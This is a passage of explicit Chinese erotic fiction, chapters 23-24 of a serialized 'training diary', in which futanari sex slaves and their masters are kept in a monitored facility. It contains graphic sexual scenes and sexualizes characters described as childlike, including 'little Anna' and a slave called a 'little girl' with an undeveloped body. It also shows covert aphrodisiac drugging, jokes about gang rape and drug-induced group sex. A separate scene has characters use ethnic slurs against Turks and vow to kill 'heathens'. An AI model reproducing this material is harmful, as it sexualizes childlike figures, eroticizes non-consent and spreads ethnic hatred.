图片载入中

艾萝调教日记23-28 番外

特大字】 【大字】 【中字】 【小字

艾萝调教日记

作者:indainoyakou 字数:40850 前文链接:viewthread.php?tid=4879639&page=1#pid91825277

艾萝调教日记(23)

日期记录:紫水晶、祖母绿、黑曜石。

预定事项:(未填写)

本人附注:(未填写)

§

艾萝有股好奇怪的感觉。

昨天发生了好多事情,一下子是乳穴爆痛、一下子是亚美不见、一下又见到 穿白衣服的女人们,最后则是在主人给予的爱抚奖励下高潮入睡。

可是,好像有什么被遗忘了。

她想了想粉红色的房间、无精打睬的两个小鬼头、臭臭的凯西小姐,却想不 出个所以然。

所以,她只好乖乖朝冷冽的黑色墙壁叹了口气。

安娜也觉得哪里怪怪的。

倒不是说记忆被动了手脚,那副作用很明显又没这必要,因为她只是在尽自 己的本分罢了。调教女奴、开发身体、给予适当奖赏,如此而已。

可是,总有一股怪怪的感觉。

她想了想笨母狗的乳穴、粉红色的邀请卡与房间、难掩惊慌的母亲,却想不 出个所以然。

所以,她只好扑倒在艾萝温暖的乳沟中间叹气。

主奴俩分别花了两分钟与两分半钟在处理怪怪的感觉,主人才毅然脱离暖暖 的乳沟,做出她自认权威性十足的动作──平起大眼睛、挺起胸膛与肉棒,两只 小手神气地扠在腰上。

“笨母狗,乳穴状况怎么样?”

“乳穴……普普通通?”

艾萝用右手捧起左乳,左手食指轻轻戳了戳肥软的乳头。

今天清醒过来时,身体感觉就和以往一样,说不上精神饱满,倒也没有不适 。尽管自己有那么点在意乳穴,但乳房的变化就如同她那根睡一觉便冒出来的阴 茎般,很自然地成为艾萝生理认知的一部分。

不过话说回来,自己是没有足够的勇气再把手指插进去、体验体验乳穴的刺 激感就是了……因此当然也不晓得乳穴被玩弄会是舒服呢?还是像昨天一样爆痛 ?

总之,调教的事情就交给主人吧!

“普普通通是怎样……会不会痛?或是痒?”

艾萝用手指戳戳嘴唇,“嗯──”了一声后说:

“不会痛、不会痒,也没有什么怪怪的地方。”

“还真的是普普通通啊。”

“就是说呀。”

安娜若有思索地触摸艾萝双乳,两只手像是熘冰般在那对胸部上滑来滑去, 最后纷纷来到乳头处。看着艾萝略微发红的脸蛋,安娜轻轻拉了拉那两颗比过去 几天更肥更软的浅褐色乳头。

“嗯……”

艾萝放开胸口,双手摸向主人大腿,在清凉柔滑的触感中感受着乳尖的愉悦 。

小小的手指稍微用力地撑开乳头的凹穴,乳头与手指紧密贴合在一块。

噗通、噗通。

有了前一天的悲惨经验,即使现在还没什么不适感,艾萝仍不禁紧张得心跳 加速。

就算抱持着“相信身为调教师的主人”这种对女奴而言天经地义的想法,果 然还是有其极限存在。

紧张万分的艾萝强迫自己咽下口水。

不管自己有多害怕……都必须忍耐到主人更进一步动作为止。

然而……

“还是不行啊。笨母狗的笨乳穴。”

给了咬紧牙关的自己这番话的主人,并没有继续将手指插进乳穴,而是伴随 着小小的噗唿声抽出手指。

尽管这不是自己最期待的结果,却也松了口气……艾萝实在不太喜欢这种矛 盾的感觉。

“呜,主人都还没有完全插进来,怎么知道不行呢?”

主人歪着头想了想,然后回给艾萝一道意料之外的答案:

“直觉。”

“直觉啊……”

“怎样?”

“没有啦……只是感觉不太像主人会说的话。”

“只是嘴上没说而已。你的身体状况,本来就是掌握在穿白衣服的那里。”

“主人没办法得知吗?”

银白色发丝活泼地左右甩动。

“每天醒来,就只管调教你这条笨母狗。”

艾萝抓起主人的手放到自己胸前,“嘿──”了一声后说:

“不会好奇?”

“啥?”

“小安娜不好奇母狗的健康或调教资料吗?”

安娜在那对胸部上随意捏了捏,艾萝也随兴叫了几声。

小小的、滑嫩的手指绕着乳晕转呀转的,圆圈越缩越小,最后又回到了肥软 乳尖上。

“……有一点在意。”

听闻主人深思熟虑(看起来)的结论,莫名兴奋的艾萝就撑起上半身、靠近 主人的脸说:

“那,要不要去看看呢。”

“去、去哪?”

“呜,那扇门不是哪儿都能去吗?”

安娜跟着艾萝望向她所指的房门,然后回过头来问道:

“我们没有选择权。”

“可是小安娜认识的人有啊!”

虽然知道这句话的意思……不,或许就是因为太快理解这句话的意思,才让 安娜一时间无法反应过来。

马麻还是莱茵老师?

待安娜终于搞清楚自己早就脱离理解的动作、正从两张熟悉的面容中挑选时 ,艾萝已经替她选好了。

艾萝兴高采烈地对着监视器大喊:

“莱茵小姐──!可以让我们到你那边去吗?”

话声渐落,没有传来任何回应。僵在原处的主奴俩面面相觑。

“莱茵小姐──拜托让我们过去嘛!”

高兴的声音不行就换撒娇的声音──可惜这次还是徒劳无功。

正欲三度尝试的艾萝,在主人看不下去而将她压倒在床上后,才因为主人的 一句话打消了念头。

“你就这么想被别人打扰吗?”

“呃,打扰……?”

胸前的银发乖顺地蹭了蹭。

“因为安娜大人,现在只想跟你独处。”

肩膀感觉到轻微的重量。小安娜撑起了身体、凑近了脸。

“不想浪费时间了。”

小安娜说了句好像在哪儿听过的话,便带着有点羞怯的表情送上小小的嘴唇 。

唇间传出的香气,是主人特有的味道。

淡淡的体味中带有一点点腥甜,是会让人稍微犹豫,而后便决定用满满的爱 来填满彼此的气味。

尽管这股空气很快就会被自己破坏……明知如此,回过神来的那一刻,早已 于事无补。

艾萝闭上眼睛,细心感受着进入主人体内的那一刻。

要是可以就这么一直下去,该有多好。

把最爱的主人抱在怀里,抚摸她的身体、聆听她的喘息、感受她的体温…… 这一切的一切,真希望都能够永远维持下去。

艾萝瞥了眼监视器。

……虽然还不是很确定,不过,总觉得莱茵小姐似乎还有什么想对主奴俩说 的。而那个女人的话,应该就是让停滞不前的现况……获得改善的关键。

唉,到底为什么自己会有这样的想法呢?

是女人的第六感?还是母狗的直觉?

不管怎么样,等这次验收完毕,再看看有没有机会遇到莱茵小姐吧!

艾萝对自己的决定做了很满意的反应──那就是抛开仅剩的理智、任由发热 的身体将小安娜又窄又紧的小肉穴扎实地灌个饱满。

§

她仰起头,注视着某道无聊到不需要注意力的监视画面,向黑色的房间投以 平淡到几乎不值一提的中低音:

“叫你耶。”

沉寂数秒,后方休息区仍然没有回音。

……虽然早就习惯对方那种爱理不理的个性,若是被对方特地交待“要是她 们叫到我就得通知我喔!”这样的话后,忠实地尽了知会的责任、却又被充耳不 闻,那感觉说实在还挺差的。

她略显不耐地转过椅子,面向后方的双人座绿皮沙发。确认体型跟小孩子没 两样的目标一派悠闲地躺在上头,她再度开口:

“哈啰?玫瑰小姐?”

有着如此外号的小孩……不……是女子听到后,动作迟缓地倾着脖子、把白 白净净的脸朝向她。

“我、我没打瞌睡喔。”

从小小的身体发出来的,并不是可爱到让人想抱她的声音,而是令人觉得有 点微妙的沙哑女声。

“那,你要怎么回答?”

“什……什么怎么回答?”

莱茵睁大眼睛反问。和她四目相望的同时,梅乐蒂不禁叹了口气。

“还说没打瞌睡。”

“呜,好啦,是有一点点。所以是要我回答什么东西?”

“小姐和女奴似乎想与你见面。”

“喔……”

尽管稍早非常认真地交待这件事,真的遇上了却又是如此冷淡的反应,这也 让梅乐蒂多少感到不畅快。

要是这矮个儿能像真正的小鬼头单纯又坦率,肯定会很可爱吧。现在这样还 真是别扭。

梅乐蒂推着椅子轻巧地转了一百八十度,回到众多萤幕的其中一点,对身后 的莱茵说:

“‘喔’是怎样啦?”

“你说怎样……就是‘喔’啊?”

“不是有话对她们说?或者特别观察她们?”

“都没有。”

“……那你特地叫我提醒你又是什么意思?”

“咦?有这回事吗?”

“……”

好想一拳扁下去……尤其那家伙脸上的表情就好像她真的从来没说过般,顿 时让梅乐蒂有股被耍的感觉。

不过,她可是成熟的大人。和外表看似小孩的那种大人不同。身材高挑、样 貌美丽的自己,当然也必须有着端庄的举止。

所以要想对付臭莱茵,最好的方法就是让她臣服于自己的冷淡之下。

“……呜,好啦。都是因为想听乐乐叫人家的声音嘛。”

果不其然,沙哑的声调在自己无言的等待中很快就转为甜腻,并且伴随慵懒 的步伐声慢慢靠近。

将一并观察中的艾萝、索莉雅、札兰蒂等三组女奴的反应记录于脑中、与过 去的资料相对应并检查是否有异常之时──肩膀传来了有点重的压力。

莱茵细细的手臂环抱住她的脖子,凉凉的下巴跟着压向头顶。

“乐乐的味道。”

那双手懒散地解开她领口的钮扣。动作有些笨拙,一颗扣子起码都得解个两 次才弄开。

“提醒你,我还得忙五十分钟才结束。”

梅乐蒂说这句话的同时也得稍稍压抑住内心的欲火,毕竟自己实在拿莱茵的 撒娇声没辄。

已经解了四处钮扣的莱茵嗯哼了声,接着将梅乐蒂的上衣往两侧拉开,没被 胸罩束缚住的乳房滚了出来。

“乐乐的母乳……”

两只渐渐温暖起来的手从外侧轻掐硕大白嫩的双乳,正欲挤弄之时,梅乐蒂 打断了它们:

“也不知道是谁在偷懒,才害我要一次监视三组主奴。”

“呜。我不是说过了,这个叫自由研究。”

“主题?”

胸口传来轻微的推挤与低临界点的快感。

“‘乐乐的母乳观察日记’──之类的。”

随着那道沙哑的撒娇声,从乳尖传来的湿润感慢慢扩大。

……不妙。

梅乐蒂瞥了眼把脸蛋凑到右颊处的莱茵,发现她的视线正注视着某个地方。

并非流出乳汁的褐色乳头,而是撑起短裙的某样东西。

“哈呜……乐乐的鸡鸡……!人家光是看你勃起,就兴奋到脱肛了呢!”

“下次提醒我把你的笨肛门治好……不,就算治好了马上又会被你玩坏。”

“就是说、就是说呀!哪、哪,乐乐想要了?想要了吗?想吧?想吧!”

呜哇……只是不小心勃起,这个麻烦鬼立刻就涨红着脸兴奋得哇哇叫,真是 够了。

“……工作结束后再做吧。”

“呜呜!可是人家忍不住嘛!不然先帮乐乐口交?乳交?肛交?还是要来个 好久没玩的乳穴交!”

一不留神,噼哩啪啦兴奋地滔滔不绝的麻烦鬼就熘到自己跨下了。那双本来 还钟情于母乳的小手,已经开始灵活地脱下短裙。

尽管这姿势很适合一脚把麻烦鬼踹开……和那张写满期待的红脸蛋对上眼, 梅乐蒂略感焦躁的情绪又软化了。

她别开目光,扬起有些磁性的声音说:

“什么乳交啊,你那种洗衣板弄起来会痛死人吧。”

“这么说,乐乐希望人家变巨乳啰?”

幼儿体型加上巨乳吗……稍加想像的梅乐蒂忍不住噗嗤笑了出来。

“上来,麻烦鬼。”

麻烦鬼一脸靠在昂然挺立的肉棒旁,嘟起嘴说:

“给人家一个不吃你棒棒的好理由。”

“嗯……等我忙完,就用最大型号的让你屁屁开花?”

“就这样?”

“不然轮流来怎么样?”

“呜,跟人家想的有点不同,不过也不错!”

金发的麻烦鬼露出开心的笑容,很快就忘了散发出热气的肉棒、直直扑坐到 肉棒主人的腿上。

彷佛能从屁股感受到一丝凉意的梅乐蒂抱紧莱茵,在奶水渐渐打湿对方那件 白衣服时,望看萤幕说:

“不然你本来想干嘛?”

“这个嘛,人家本来想找很多很多女奴,看她们轮奸乐乐的脱肛屁眼说…… ”

“……你别用一副很可惜的口气对准受害者说出这种事情好吗!”

“呜,乐乐不喜欢的话,就只好让大家轮奸小莱茵,再给乐乐看人家失神的 表情啰?”

“你到底有多爱轮奸啊……”

“仅次于对乐乐还有主人还有小安娜还有绽放的爱喔!”

“……花心的麻烦鬼。”

“嘻嘻,吃醋啦?”

梅乐蒂随手摸了摸莱茵的背,朝她热情不减的脖子吻了一下,有意无意地叹 道:

“小笨蛋。”

之后的那四十多分钟,意外地在没什么干扰的情况下顺利结束了。

前半段是得忍受莱茵擅自替自己编发的搔痒感,或是彼此活动时磨擦到身体 所激发的情欲。后来大概是玩累了,沙哑的撒娇声渐渐沉了下来,本来还嚷嚷着 要做爱的麻烦鬼就这么睡着了。

不巧的是……莱茵静静入睡的可爱模样,竟然让自己看了不禁勃起。

等等。

以往自己有这么敏感吗?

没有。

麻烦鬼的贫乳会让自己如此兴奋吗?

不会。

有可能看到她毫无防备的表情就按捺不住吗?

不可能。

简单做了以上判断,梅乐蒂一手拨开随意垂散在胸口的金发,将鼻子凑到金 发主人的脖子上。

“……笨蛋,哪有人在自己脖子上擦催淫液的……”

而且剂量配得竟然这么刚好。

虽然待会还有一堆书面报告要做,麻烦鬼配的这组药剂却选在例行监视告一 段落后,才发挥到足以影响到被投药者的效力。真是项不晓得该不该称赞她的技 巧啊。

“起来。”

梅乐蒂啪啪地拍了两下麻烦鬼的屁股,引来一阵甜甜的呻吟。

“呜嗯……”

莱茵缓缓睁开眼睛,和脸色红润的梅乐蒂对上眼,恍惚数秒后笑了出来。

“想要把人家射到肚子鼓起来吗?”

“想。”

“那……也想要把人家操到口吐白沫啰?”

“好想。”

“好乖好乖呢……那乐乐先把人家放到沙发上。要两个枕头喔!”

“好。”

脑袋有点昏沉,虽不影响理智,不将那股欲望宣泄掉就是不痛快。

麻烦鬼的药没啥副作用是很好,但还真希望哪天她能不靠药物、用可爱的一 面挑起自己的欲火哪。

梅乐蒂以公主抱的方式把莱茵抱到沙发前,右脚一踹,就把躺在角落的大枕 头踢到另一块枕头旁边,然后将肉棒开始蠢蠢欲动的麻烦鬼给扔上去。

“呀──”

发出甜蜜叫声的麻烦鬼迅速脱去衣服与短裙,露出了正逐渐增大的阴茎。梅 乐蒂正欲爬到她身上,却被平举起来的小手制止住。

“乐乐等一下,我要跟梅乐蒂说话。”

……差点忘了,每次做爱前都要配合麻烦鬼啊。

虽然不是什么值得一提的事情,不过既然麻烦鬼坚持要这么做,梅乐蒂也就 乖乖照这套方式来。

于是她后退一步、双手扠着腰,坐立难安地等待麻烦鬼的下一句话。

“AKR、一三、零四、五六、最晚三天。”

伴随着微微扬起的嘴角──沙哑的声音说起了她有听没有懂的话。

§

一股浑厚有力的声音渐渐从虚无变得清楚,再从清楚变得烦人,最后总算是 把不太想起床的她硬是叫醒。

她睁开双眼,从狭窄的视线中看到自己的鼻头右侧,感觉还是不太习惯。忍 耐住极欲触摸左眼的手,她在一位穿着红毛大衣、仗剑而立的女子注视下缓缓起 身。

那个人比自己大上整整一……不,是大上整整两号。

即使全身用毛皮大衣厚厚地覆盖住,依然可见结实过头的四肢,与那两块彷 佛快爆开的胸肌痕迹。

当然啦,最吓人的还是她脸上的两道深痕。一道直竖贯穿挡住左眼的眼罩, 一道从人中横切至右下巴。真不敢想像若是发生在自己身上,那会有多痛。

她接过红衣女子递上的眼罩与披风,拉起一阵清脆的喀啦声后流畅地戴上那 只单眼眼罩。

她打量着红衣女子脸上的红色眼罩,下方悬挂的是一红一黑的宝石垂饰。虽 然她总认为那款比较亮眼,自己面前那二黑一紫的宝石垂饰也还不错就是了。

不过,这年头连配件都这么讲究啦……难怪就连眼罩也常常失窃。

她做了道短促无声的叹息,披上黑紫色披风、顺了顺压坏的长发,待头发看 起来不至于太糟糕,便抓起枕头底下的宝石耳环、一一别上。

等到这一连串动作做完,红衣女子才发出满意的笑声,接着横起右腕于胸前 、向她单膝跪地。

“贵安吾君。”

“请起,佐拉将军。”

红衣女子──佐拉低喊一声,毕恭毕敬地起身。

她看一眼佐拉脸上的疤痕,盘起双手说:

“等了这么久,终于捎来好消息了。”

“从上次的大空袭以来,已经隔了两个月啊。但愿这次的消息够好。”

“安卡拉的主力已向东或北移转,这算好还是够好?”

佐拉面露难得的欣慰,感叹道:

“非常好。”

她微微一笑。

“那么,就再次号召骑士团。也向威尼斯佣兵团发出邀请。”

“遵命。”

“顺带知会她们:安卡拉的驻留部队约剩一万出头,海空战力仅能自保。这 等天赐良机,想必能唤醒大家的勇气吧。”

“遵命!”

佐拉向微笑着的主人深深鞠躬,便带着她的庞大身躯朝房门离去。

她望着红色披风上的新月,以及新月旁的圣母之星。待月与星脱离视线,她 左手缓缓摸向覆在左眼上的眼罩,漫步来到窗前。

透过不很清楚的缝线,可以明确感受得到。

遥隔了七百年的岁月,如今,新月与圣星的鼓动终于再度响起了。

“呵呵……”

她眺望历经空袭仍屹立不摇的圣索菲亚大教堂。

“土耳其狗……!再嚣张也剩不了多少时日啦!”

重建中的街道与逐渐复兴的人潮。

“三天……三天之内,定叫你们这群异教杂种全都下地狱去!”

以及……不寻常地聚集当中的独眼女人。

“...Ζήτω!! Βυζαντινή αυτοκρατορία!!”

艾萝调教日记(24)

日期记录:第二个月亮。

预定事项:第二次成果验收。

本人附注:糟糕……昨天好像都是我在享受……

就当做是锻炼笨母狗的笨肉棒吧。嗯,锻炼!

§

艾萝睡醒后,第一眼所见并非黑色天花板,而是有着一头俏丽红发的漂亮脸 蛋。

“凯西……小姐?”

左右颊分别纹上了水滴与星星图案、紫红色眼影往上刷了一大片、假睫毛长 长翘起的女子闻言,露出十分开心的笑容。仔细一瞧,双眼下方还扑上闪闪动人 的亮粉呢。

“欢迎第十四号女奴,艾萝!成果验收马上就要开始,请在此稍待片刻喔! ”

“呃,好的……”

凯西小姐对还搞不懂状况的艾萝笑了笑,就从她床上往旁边一跃而下。

艾萝放任傻唿唿的视线跟着凯西小姐脸蛋跑,看见那身有别于兔女郎装的盛 装打扮。

首先是和印象中的小丑帽相去不远的帽子──红橙两色一根根竖起后往外折 的布料、帽尖处顶着一颗颗白色小毛球。然后是与小丑打扮十分相符的杂耍服… …如此风貌的晚宴服。最后是长长的白色手套、白色吊袜带,还有脚尖处卷起来 的象牙色高跟鞋。

那件衣服光看外形的话,是还挺像晚宴服。单看图案的话,则是会让人联想 到杂耍服。可是当它们结合在一起,莫名其妙就好像把英国国旗缠在身上似的微 妙……这么说有点抱歉,但凯西小姐的品味真是有待加强呢。

除此之外,原来凯西小姐不戴白色面具、不弄些令人反胃的脏东西时,竟然 会这么漂亮啊。

狐狸眼、尖鼻子、好像突然蹦出来的美人痣……不晓得主人有没有见过这样 的凯西小姐呢?

目光从一身华丽的红发女子身上移开后,艾萝这才注意到她的左右都放了好 几张病床,每张床上都有个和自己一样,赤裸着身体、一脸茫然地相望或看着天 花板的女子。

在脑袋理解现况以前,艾萝一眼就认出她们是与自己相同的女奴。

因为那些女人,身上有着同样的气味。

期盼着、渴望着主人的面容,正极力压抑着二次验收的不安。

细心感受这股共通情绪的艾萝,在一片静谧中,被突然响起的尖声音吓了一 跳。她往扯起尖嗓门的凶手看去。

“嗯哼!欢迎第十七号女奴,札兰蒂!”

兴高采烈的凯西小姐正趴在从左手边数过去第三张病床上,用过头的兴奋叫 醒深咖啡色肌肤的女奴。

在凯西小姐漂亮的吊袜带之间,一根看起来和自己尺寸差不多大的深色肉棒 微微颤动着。

艾萝看到那根完全被包皮覆盖住的深色肉棒,想起初次验收遇上的野兽…… 脑海浮现出被野兽还有凯西小姐玩弄的景象,她忍不住勃起了。

“哎呀……你的肉棒,看起来真可口呢。”

呜呜,还没来得及用被子遮住,就被隔壁床的女奴看到了。

艾萝转过头去,向右边那位捂住嘴巴的绿头发女孩抱以歉笑。歉笑之余,也 本着女奴的本能迅速审视对方的身体。

洁白的肌肤、微隆的胸部、处理到一丝不苟的体毛、健康抖动着的半勃起阴 茎。

……抖动?

艾萝和绿发女孩对上眼,察觉到对方脸上的红晕正迅速散开。她也跟着脸红 了。

绿发女孩发现自己露出丑态,赶紧用被单压住私处、红着脸向艾萝解释:

“抱、抱歉,因为你的肉棒跟主人的很像,所以……”

“呃,这样啊……”

明明是这么尴尬的情况,为什么自己的肉棒却不听话地还在蠢蠢欲动呢…… 该不会是误把对方的理由当成褒美了吧。艾萝有一股越是想努力压抑,就越是压 抑不住的感觉。

先遮住再说吧。

用还残留体温的被单稍微用力地盖住阴茎后,艾萝苦笑着和绿发女孩别开目 光。

有些女奴和她们一样尴尬地挡住私处,没有和彼此搭话或对上目光的女奴, 多半是在发呆而毫无勃起迹象。

……啊,大家都有肉棒呢。

虽然尺寸并不统一,视线所及的女奴们股间确实都有隆起。总觉得那些被挡 住的肉棒特别叫人在意哪。

话虽如此,自己是没有特地拜托对方让自己看的勇气就是了。

莫名其妙感到松一口气的艾萝随意看来看去,不经意与一位同样环顾四周的 女奴目光交会。

长长的金发、嫩嫩的脸蛋、水汪汪的大眼睛、比左右两床小上两三号的身材 ……最后是好像还没发育的胸部,跟好像还没发育的阴茎。

和主人……不……比主人还小啊……而且可爱度好像与主人有得拼呢。

就连那孩子身旁的女奴都一副想吃掉她的模样。也难怪她会一副害怕到快要 哭出来的表情。

连这么小的小女孩也在接受自己受过的调教吗?真是不敢相信。

心情感到五味杂陈的艾萝慢慢移开视线,却飘向女孩下体。

嗯……隔了三张床所以看得不是很清楚……不过,她那不停抖动的小肉棒好 像只有三……四公分?

……根本只是个走可爱路线、早就调教得很不错的女奴嘛!

一瞬间觉得那个小女孩好可怜的自己,真是个大笨蛋啊……

艾萝在心里向身在它处的主人好好地道了歉,然后不再注意身旁的女孩子。

不一会儿,尖锐的女高音叫醒第二十名女奴,便敲起了清响的脚步声回到房 间中央。

凯西小姐双手举到她的侧脸旁,啪啪地拍了两下手掌说:

“欢迎参加第二次成果验收,各位女奴们。接下来将由大家都见过的本人我 ,凯西来引导各位!”

大伙目光被小丑打扮的凯西小姐吸引过去,艾萝也目不转睛地望着凯西小姐 脸上的水滴图案。

“那么首先!请各位下床并往一号床──也就是凯西小姐所指的方向移动。 ”

胸口噗通噗通的,艾萝在私处重新接触冷空气后,跟在人群中一同照凯西小 姐的指示动作。

女奴们两个两个并列移动。

无法再用被单挡住身体,有不少人都改以双手挡住胸口与大腿内侧,艾萝也 是如此。

虽然给外人看到确实有点害羞,不过会让她这么做的理由,多半还是在于大 小姐的含蓄习性。

当然啦,还是有将近半数的女奴不怎么在意这回事。

艾萝注意到,无论是像自己一样含蓄的女奴,还是那些开放的女奴,每个人 展现出来的氛围都不尽相同。

如果是开放型女奴边走边抖着勃起肉棒,看起来倒挺合适。要是像左前方那 位女奴,一边假装害羞,一边又刻意走光、好让旁人看她的肉棒……那还真是做 作了点。

……话说回来,和自己这种“观察她人型”的女奴还真不少。短短几步路, 艾萝就不经意和两位女奴对上眼。当然彼此都很快地移开视线。

艾萝随人群来到一号床前面的空地,跟着一个个转过身来的女奴转身。

人群呈弦月状散开,红发的小丑小姐扭腰摆臀地陷入弦月中央。

呜,原来凯西小姐的身材这么好啊──艾萝和几位注意力都被那对美臀吸引 过去的女奴一样,咕噜一声吞下口水、忍不住多瞄几眼。

有着美臀的小丑小姐迅速环视二十位女奴,然后屁股歪向一边、扠起了腰说 :

“很好!每个人气色都很不错。比起第一次验收,大家都有显着的成长喔! ”

难得被主人以外的人夸奖……因此大家几乎都表现出程度不一的欣喜。

艾萝身边的绿发女奴趁机靠过来。她注意到那张微红的脸蛋面对的确实是凯 西小姐,两只眼睛可就不是这么一回事了。

凯西小姐没给艾萝尴尬的机会,便扬起尖尖的嗓音打断那道视线:

“现在开始试验说明,各位请听好啰!”

所有女奴的目光都集中到精心打扮的小丑小姐。艾萝仍然将焦点放在漂亮的 水滴图案上。

随着小丑帽稍稍倾斜,凯西小姐装模作样地咳了声,而后笑笑地说道:

“本回乃首回双数次验收!试验时间总共三十分钟。在双数次验收里,我们 将不进行调教考验,而是以女奴们的综合表现加以评分。评分的结果将会影响各 位下一次单数次验收的内容,因此还请多多互动!以上!有问题敬请提出。若没 问题,试验将在一分钟后正式开始!”

自信满满的尖声音说完,激起了一阵阵不很自信的涟漪。

“唿哇……总算不用被肌肉女欺负了。”

“有点可惜呢。”

“呜,那也不能跟凯西小姐爱爱啰。”

“好想主人喔……”

艾萝小小地吃了一惊。因为大家口中喃喃的这些话,简直与她内心所想一模 一样。

不用再跟肌肉女交手是松了口气,但也确实感到可惜。

想到验收就想到凯西小姐漂亮又舒服的身体,不能碰触就真的很可惜。

目前为止都没提到的主人,也随着不认识的女奴埋怨而开始变得好在意。

……不过比起这些,该如何从试验中获取高分这点,更让艾萝苦恼。

因为,主人一定没问题的。

而自己在试验中的表现,可是会影响到主奴俩下次的考验。

绝不能拖累主人了。

“……要加油。”

置身于充斥着不安的喧哗声中,艾萝在没有人瞧见的地方,暗自下了决心。

话说回来,要怎样的互动才算得上良好呢?总不会叫女奴们优雅地喝下午茶 、聊聊裁缝与衣裳吧……

艾萝把这个问题混在充满疑惑的目光里,和几位早早发觉此事的女奴一起将 之投向凯西小姐。

只见红橙色小丑帽滑稽地抖了下,凯西小姐拍拍手,对大部分还搞不太清楚 的大家说:

“现在请各位原地坐下,并请不要超过我所站的位置。”

看样子是没打算做说明哪。

站在凯西小姐两侧的女奴往内靠了过来,让本来显得有点挤的两个角落变得 更挤。女奴们努力保持彼此之间的最小距离,一个个像听话的小狗般乖乖坐好。

艾萝在中间靠后侧的位置,右边是不断偷瞄过来的绿发女孩,左边是不认识 的懦弱女奴。

在一片模煳难辨的女奴体香中,艾萝嗅出一丝蠢蠢欲动的异味。那是从跪坐 在她身后的女奴所发出的。那名女奴的肉棒不晓得在兴奋个什么劲,打从一坐下 便带着温热的体温贴在她后腰处,不时还会不知羞耻地抖动磨蹭。

思及试验马上就要开始,艾萝只好一边忍耐那股反感,一边坐立难安地等待 凯西小姐。

眼看每个人都坐定位,凯西小姐高高举起右臂。白色手套在黑色空中打出清 脆的响指,女奴们与接待员中间升起了一道相当厚实的大理石壁。

没有嘈杂难听的噪音,也感觉不到地面在震动。

但是扠着腰、歪着翘臀、维持打响指姿势的凯西小姐,确实慢慢地从下半身 开始消失在墙壁的彼端。

“那么,各位的第二次验收──”

无视于女奴之中传开的小小骚动,小丑小姐面露十分开心的笑容宣布:

“──正式开始。”

随着无声升起的墙壁静悄悄地陷入天花板,本来宽敞的房间,现在只剩下二 十名女奴坐着都嫌挤的小空间。

摸不着头绪的众人你看我我看你,彼此脸上都呈现同样的困惑。当然也有的 人似乎并不在意现况。

例如两只手已经贴到艾萝大腿外侧、整个身体几乎要扑上背的那名女奴。

“哈啊……”

从后方吹上耳垂的炽热吐息,令心跳稍微加快的艾萝不禁打了个寒颤。

虽然自己对于肢体接触并没有那么排斥,甚至会有点开心……可她实在很讨 厌在大家面前被人毛手毛脚。

因为,周遭的目光都集中到自己身上了。

脸好烫。

心跳声变得好清楚。

大腿外侧的热度也慢慢往内移动。

“……!”

下体传来不妙的触感之际,艾萝羞红着脸垂下头。

那一瞬间,好多好多想法闪过脑海,却没一样能让艾萝紧紧抓住。

好讨厌。

不认识的女人竟然随随便便地乱摸。

好丢脸。

每个人都看到自己被骚扰的丑态了。

可是……也好舒服。

那人的手掌轻轻反握住艾萝垂在大腿内侧的阴茎,掌心的温度与微黏的触感 共鸣出好强烈的刺激。麦子色的玉手温吞地套弄几下,艾萝就在她手里勃起了。

胸口热了起来,脑袋却还是一团混乱。

没能对现况做出任何判断的艾萝,只能放任身体给对方抚弄。

“哈哈……你的肉棒好敏感,好棒喔……”

鼻音很重的女中音在左耳迸开,然后混着滑滑热热的口水含住了半个耳朵。

噗啾、噗啾、噗啾。

“呜……!”

那条舔了她耳垂好几次的舌头就藏在过多的唾液中,趁着每次吸吮时跟着贴 上来,一会儿舔着耳根耳垂,一会儿又挤到耳道外侧。

然而比起耳朵很敏感这件事,更让艾萝羞怯的是对方刻意挤出的吸吮声。

“呜啾、噗啾、噗咕……唿呜、唿噗、唿啾。”

左耳旁的头发被温柔地拨开后搔了搔,弄得黏黏滑滑的肉棒也被稍微压紧的 掌心按抚着。眉头间的不安感慢慢在下降,取而代之的是不断上升的快乐。

但是,不管怎么说,自己根本不认识对方。甚至连对方长怎样都不知道。就 算她把自己弄得很舒服,还是太难为情了。

“呜唿唿……你脸好烫,都要跟肉棒一样烫了。啊啊……你听……肉棒正被 人家弄得咕滋咕滋叫着呢……”

咕滋、咕滋、咕噜、滋噜、咕噗。

完全挺立的肉棒在那人手里舒服地颤动,已经没办法压抑了。

艾萝垂下肩膀,全身放松地让对方掌控身处黑暗的自己。

“乖女孩……”

将外界噪音全部阻隔在外的,是充满诱人鼻音与气音的女中音。

黏腻感在眼皮下的黑暗迅速扩散,股间的昂扬开始渴望着快感。

涣散的理智隐约察觉到,那女人为何会向自己下手了。

唿吸变得又热又快,艾萝聆听着。

黏稠的声音并非只在自己股间,它就像传染病般感染了整个黑色空间。

然后她嗅着。

流通在狭窄空间里的,已经不是单纯的体香,而是一条条母狗的骚味。

胸口好热。

身体好热。

脑袋……也好热。

一抹汗珠从额间滑落至侧鼻,艾萝略感无力地睁开双眼。映入微垂眼帘的, 正是自己在内心描绘出来的情景。

“好热……姐姐的奶水,让人家身体变得更热了……呜、呜啾、啾噜、滋噜 ……”

“想要……小穴好想要啊……不要光欺负我的鸡鸡啦……呜嗯……!”

“啊、啊呜呜……!人家的母狗屁眼被奸了……!呜!呜呃、呜呃、呜呵… …”

“肉棒好棒、好棒、肉棒好棒啊啊啊……!不、不够,还要更多……给人家 更多肉棒……!”

“噫噗、噫咕、噫噗、噗、噗唿啊……!精、精液……呜咕……姐姐的…… 嘻……臭精液……好多好多……”

放眼所见的每个女奴,都吐着同样炽热的淫息、顺从本能摆动肉体。

大家都贴上最近的同伴,两个人、三个人甚至四个人自成一对,扬起愉快或 扭曲的呻吟、享受不断涌现的情欲。

……不行。撑不住了。

不管意志力再怎么坚定,终究会输给被动过手脚的身体。

更何况,看着大伙交缠在一起的肉体,母狗的本能也被彻底唤醒了。

艾萝恍惚地和爬向自己的绿发女孩对望。

绿色的眼珠里藏着过盛的激情。

她抬起软绵绵的双臂,倾身抱住绿发女孩沾满热汗的身体。

“呜嗯……!”

一手抱着眼前女孩柔软又火热的背、一手垂着与身后女孩十指交扣着……艾 萝沉入翠绿色的美丽漩涡,口水与精液同时滴落。

绿发女孩绽放出十分淫秽的笑容,两手托着艾萝的脸蛋便奉上唇舌。她的肉 棒带着急躁的暖意钻进另一位女孩手中,接着挤到艾萝肉棒旁。

原本套弄着艾萝的那只手,便勾起肉棒上的黏液与刚吐出来的新鲜精液,将 之抹到绿发女孩的淡色阴茎上。

绿发女孩灵活地摆起腰,她的包茎肉棒含着从艾萝体内流出的淫液,一次又 一次地顶向艾萝的阴部。

刚射完精显得有些脆弱的艾萝发出小小的哀鸣,但这声音很快就被近处响起 的抽插声捣碎。

